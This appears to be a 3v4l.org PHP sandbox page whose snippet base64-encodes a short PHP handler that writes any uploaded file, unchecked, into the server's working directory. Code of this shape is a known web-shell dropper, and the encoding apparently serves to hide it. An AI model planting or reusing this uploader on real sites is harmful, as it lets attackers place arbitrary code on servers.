3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo base64_encode('$target_path=getcwd()."/".basename($_FILES["file"]["name"]); if(move_uploaded_file($_FILES["file"]["tmp_name"],$target_path)){echo "Ok"; }else{echo "Fail"; }');

preferences:
31.74 ms | 402 KiB | 5 Q